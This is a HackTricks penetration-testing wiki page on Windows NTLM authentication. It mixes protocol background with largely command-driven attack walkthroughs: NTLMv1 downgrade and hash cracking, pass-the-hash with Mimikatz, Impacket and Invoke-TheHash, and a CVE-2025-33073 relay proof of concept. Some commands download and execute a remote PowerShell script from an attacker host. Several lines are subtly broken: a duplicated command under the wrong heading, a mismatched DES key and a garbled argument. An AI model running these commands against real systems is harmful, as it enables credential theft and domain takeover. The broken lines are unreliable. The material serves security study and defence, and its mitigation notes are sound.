overview.md (20404B)
1 --- 2 title: "NTLM" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/ntlm/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/ntlm/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # NTLM 14 15 ## Basic Information 16 17 In environments where **Windows XP and Server 2003** are in operation, LM (Lan Manager) hashes are utilized, although it's widely recognized that these can be easily compromised. A particular LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, indicates a scenario where LM is not employed, representing the hash for an empty string. 18 19 By default, the **Kerberos** authentication protocol is the primary method used. NTLM (NT LAN Manager) steps in under specific circumstances: absence of Active Directory, non-existence of the domain, malfunctioning of Kerberos due to improper configuration, or when connections are attempted using an IP address rather than a valid hostname. 20 21 The presence of the **"NTLMSSP"** header in network packets signals an NTLM authentication process. 22 23 Support for the authentication protocols - LM, NTLMv1, and NTLMv2 - is facilitated by a specific DLL located at `%windir%\Windows\System32\msv1\_0.dll`. 24 25 **Key Points**: 26 27 - LM hashes are vulnerable and an empty LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) signifies its non-use. 28 - Kerberos is the default authentication method, with NTLM used only under certain conditions. 29 - NTLM authentication packets are identifiable by the "NTLMSSP" header. 30 - LM, NTLMv1, and NTLMv2 protocols are supported by the system file `msv1\_0.dll`. 31 32 ## LM, NTLMv1 and NTLMv2 33 34 You can check and configure which protocol will be used: 35 36 ### GUI 37 38 Execute _secpol.msc_ -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5). 39 40  41 42 ### Registry 43 44 This will set the level 5: 45 46 ```text 47 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f 48 ``` 49 50 Possible values: 51 52 ```text 53 0 - Send LM & NTLM responses 54 1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated 55 2 - Send NTLM response only 56 3 - Send NTLMv2 response only 57 4 - Send NTLMv2 response only, refuse LM 58 5 - Send NTLMv2 response only, refuse LM & NTLM 59 ``` 60 61 ## Basic NTLM Domain authentication Scheme 62 63 1. The **user** introduces his **credentials** 64 2. The client machine **sends an authentication request** sending the **domain name** and the **username** 65 3. The **server** sends the **challenge** 66 4. The **client encrypts** the **challenge** using the hash of the password as key and sends it as response 67 5. The **server sends** to the **Domain controller** the **domain name, the username, the challenge and the response**. If there **isn't** an Active Directory configured or the domain name is the name of the server, the credentials are **checked locally**. 68 6. The **domain controller checks if everything is correct** and sends the information to the server 69 70 The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server (it is inside the **NTDS.DIT** db). 71 72 ### Local NTLM authentication Scheme 73 74 The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate. 75 76 ### NTLMv1 Challenge 77 78 The **challenge length is 8 bytes** and the **response is 24 bytes** long. 79 80 The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2B+0x00\*5)): the **last part is filled with zeros**. Then, the **challenge** is **ciphered separately** with each part and the **resulting** ciphered bytes are **joined**. Total: 8B + 8B + 8B = 24Bytes. 81 82 **Problems**: 83 84 - Lack of **randomness** 85 - The 3 parts can be **attacked separately** to find the NT hash 86 - **DES is crackable** 87 - The 3º key is composed always by **5 zeros**. 88 - Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**. 89 90 ### NTLMv1 attack 91 92 Unconstrained delegation is less common in modern environments, but a reachable **Print Spooler service** may still be abused to coerce authentication to such a host. 93 94 You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\ 95 If you are using `responder` you could try to **use the flag `--lm`** to try to **downgrade** the **authentication**.\ 96 _Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._ 97 98 Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example). 99 100 ### NTLMv1 attack with hashcat 101 102 NTLMv1 can also be attacked with [NTLMv1 Multi Tool](https://github.com/evilmog/ntlmv1-multi), which converts captured NTLMv1 messages into formats suitable for Hashcat.<sup>[[1]](#references)</sup> 103 104 The command 105 106 ```bash 107 python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 108 ``` 109 110 would output the below: 111 112 ```bash 113 ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] 114 115 Hostname: DUSTIN-5AA37877 116 Username: hashcat 117 Challenge: 1122334455667788 118 LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D 119 NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 120 CT1: 727B4E35F947129E 121 CT2: A52B9CDEDAE86934 122 CT3: BB23EF89F50FC595 123 124 To Calculate final 4 characters of NTLM hash use: 125 ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 126 127 To crack with hashcat create a file with the following contents: 128 727B4E35F947129E:1122334455667788 129 A52B9CDEDAE86934:1122334455667788 130 131 To crack with hashcat: 132 ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 133 134 To Crack with crack.sh use the following token 135 NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 136 ``` 137 138 Create a file with the contents of: 139 140 ```bash 141 727B4E35F947129E:1122334455667788 142 A52B9CDEDAE86934:1122334455667788 143 ``` 144 145 Run hashcat (distributed is best through a tool such as hashtopolis) as this will take several days otherwise. 146 147 ```bash 148 ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 149 ``` 150 151 In this case we know the password to this is password so we are going to cheat for demo purposes: 152 153 ```bash 154 python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b 155 DESKEY1: b55d6d04e67926 156 DESKEY2: bcba83e6895b9d 157 158 echo b55d6d04e67926>>des.cand 159 echo bcba83e6895b9d>>des.cand 160 ``` 161 162 We now need to use the hashcat-utilities to convert the cracked des keys into parts of the NTLM hash: 163 164 ```bash 165 ./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753 166 b4b9b02e6f09a9 # this is part 1 167 168 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d 169 bd760f388b6700 # this is part 2 170 ``` 171 172 Ginally the last part: 173 174 ```bash 175 ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 176 177 586c # this is the last part 178 ``` 179 180 Combine them together: 181 182 ```bash 183 NTHASH=b4b9b02e6f09a9bd760f388b6700586c 184 ``` 185 186 ### NTLMv2 Challenge 187 188 The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**. 189 190 **The first response** is created by ciphering using **HMAC_MD5** the **string** composed by the **client and the domain** and using as **key** the **hash MD4** of the **NT hash**. Then, the **result** will by used as **key** to cipher using **HMAC_MD5** the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B. 191 192 The **second response** is created using **several values** (a new client challenge, a **timestamp** to avoid **replay attacks**...) 193 194 If you have a **PCAP containing a successful authentication exchange**, extract the domain, username, server challenge, and NTLMv2 response, format the capture for Hashcat, and use mode `5600` to attempt password recovery. The archived practical walkthrough retains the packet-field extraction procedure, while Hashcat's examples define the current accepted format.<sup>[[2]](#references)[[7]](#references)</sup> 195 196 ## Pass-the-Hash 197 198 **Once you have the hash of the victim**, you can use it to **impersonate** it.\ 199 You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does. 200 201 **Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.** 202 203 ### **Mimikatz** 204 205 **Needs to be run as administrator** 206 207 ```bash 208 Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' 209 ``` 210 211 This launches a process under the current local user, while LSASS associates the supplied credentials with its outbound network logon. You can then access network resources as the supplied user, similarly to `runas /netonly`, without knowing the plaintext password. 212 213 ### Pass-the-Hash from linux 214 215 You can obtain code execution in Windows machines using Pass-the-Hash from Linux.\ 216 [**See practical Pass-the-Hash execution examples.**](/hacktricks/windows-hardening/lateral-movement/psexec-and-winexec#pass-the-hash) 217 218 ### Impacket Windows compiled tools 219 220 You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries). 221 222 - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` 223 - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` 224 - **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` 225 - There are several more Impacket binaries... 226 227 ### Invoke-TheHash 228 229 You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)<sup>[[3]](#references)</sup> 230 231 #### Invoke-SMBExec 232 233 ```bash 234 Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose 235 ``` 236 237 #### Invoke-WMIExec 238 239 ```bash 240 Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose 241 ``` 242 243 #### Invoke-SMBClient 244 245 ```bash 246 Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose 247 ``` 248 249 #### Invoke-SMBEnum 250 251 ```bash 252 Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose 253 ``` 254 255 #### Invoke-TheHash 256 257 This function combines the preceding modes. You can pass **several hosts**, exclude selected targets, and choose _SMBExec, WMIExec, SMBClient,_ or _SMBEnum_. If you select **SMBExec** or **WMIExec** without a _**Command**_ parameter, it only checks whether you have sufficient permissions. 258 259 ```text 260 Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 261 ``` 262 263 ### [Evil-WinRM Pass the Hash](/hacktricks/network-services-pentesting/5985-5986-pentesting-winrm#using-evil-winrm) 264 265 ### Windows Credentials Editor (WCE) 266 267 **Needs to be run as administrator** 268 269 This tool will do the same thing as mimikatz (modify LSASS memory). 270 271 ```text 272 wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt> 273 ``` 274 275 ### Manual Windows remote execution with username and password 276 277 278 [Lateral Movement](/hacktricks/windows-hardening/lateral-movement/overview) 279 280 ## Extracting credentials from a Windows Host 281 282 For more information, see [**Stealing Windows Credentials**](/hacktricks/windows-hardening/stealing-credentials/overview). 283 284 ## Internal Monologue attack 285 286 The Internal Monologue Attack is a stealthy credential extraction technique that allows an attacker to retrieve NTLM hashes from a victim's machine **without interacting directly with the LSASS process**. Unlike Mimikatz, which reads hashes directly from memory and is frequently blocked by endpoint security solutions or Credential Guard, this attack leverages **local calls to the NTLM authentication package (MSV1_0) via the Security Support Provider Interface (SSPI)**. The attacker first **downgrades NTLM settings** (e.g., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) to ensure that NetNTLMv1 is permitted. They then impersonate existing user tokens obtained from running processes and trigger NTLM authentication locally to generate NetNTLMv1 responses using a known challenge.<sup>[[4]](#references)</sup> 287 288 After capturing these NetNTLMv1 responses, the attacker can quickly recover the original NTLM hashes using **precomputed rainbow tables**, enabling further Pass-the-Hash attacks for lateral movement. Crucially, the Internal Monologue Attack remains stealthy because it doesn't generate network traffic, inject code, or trigger direct memory dumps, making it harder for defenders to detect compared to traditional methods like Mimikatz. 289 290 If NetNTLMv1 is not accepted—due to enforced security policies, then the attacker may fail to retrieve a NetNTLMv1 response. 291 292 To handle this case, the Internal Monologue tool was updated: It dynamically acquires a server token using `AcceptSecurityContext()` to still **capture NetNTLMv2 responses** if NetNTLMv1 fails. While NetNTLMv2 is much harder to crack, it still opens a path for relay attacks or offline brute-force in limited cases. 293 294 The PoC can be found in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.<sup>[[4]](#references)</sup> 295 296 ## NTLM Relay and Responder 297 298 **Read more detailed guide on how to perform those attacks here:** 299 300 301 [Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 302 303 ## Parse NTLM challenges from a network capture 304 305 **You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) 306 307 ## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) 308 309 Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges. 310 311 Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info.<sup>[[5]](#references)[[6]](#references)</sup> 312 313 ### TL;DR of the bug 314 1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g. 315 `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` 316 2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.). 317 3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**. 318 4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`). 319 5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created). 320 6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host.<sup>[[5]](#references)</sup> 321 322 ### Quick PoC 323 ```bash 324 # Add malicious DNS record 325 dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ 326 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ 327 -d 10.10.10.50 328 329 # Trigger authentication 330 PetitPotam.py -u user -p pass -d DOMAIN \ 331 srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL 332 333 # Relay listener (NTLM) 334 ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support 335 336 # Relay listener (Kerberos) – remove NTLM mechType first 337 krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support 338 ``` 339 340 ### Patch & Mitigations 341 * KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).<sup>[[5]](#references)[[6]](#references)</sup> 342 * Enforce **SMB signing** to prevent reflection even on unpatched hosts. 343 * Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...). 344 345 ### Detection ideas 346 * Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP. 347 * Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname. 348 * Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host.<sup>[[5]](#references)</sup> 349 350 For the **March 2026** local reflection variant that abuses **SMB arbitrary ports** and **TCP connection reuse** to reach `NT AUTHORITY\SYSTEM`, see: 351 352 [Local Ntlm Reflection Via Smb Arbitrary Port](/hacktricks/windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port) 353 354 ## References 355 - [1] [evilmog/ntlmv1-multi – NTLMv1 Multitool](https://github.com/evilmog/ntlmv1-multi) 356 - [2] [Hashcat example hashes – NetNTLMv2 (mode 5600)](https://hashcat.net/wiki/doku.php?id=example_hashes) 357 - [3] [Kevin-Robertson/Invoke-TheHash – PowerShell Pass The Hash Utilities](https://github.com/Kevin-Robertson/Invoke-TheHash) 358 - [4] [Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS](https://github.com/eladshamir/Internal-Monologue) 359 - [5] [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) 360 - [6] [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) 361 - [7] [Cracking an NTLMv2 Hash – 801Labs (Internet Archive)](https://web.archive.org/web/20211206031936/http://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)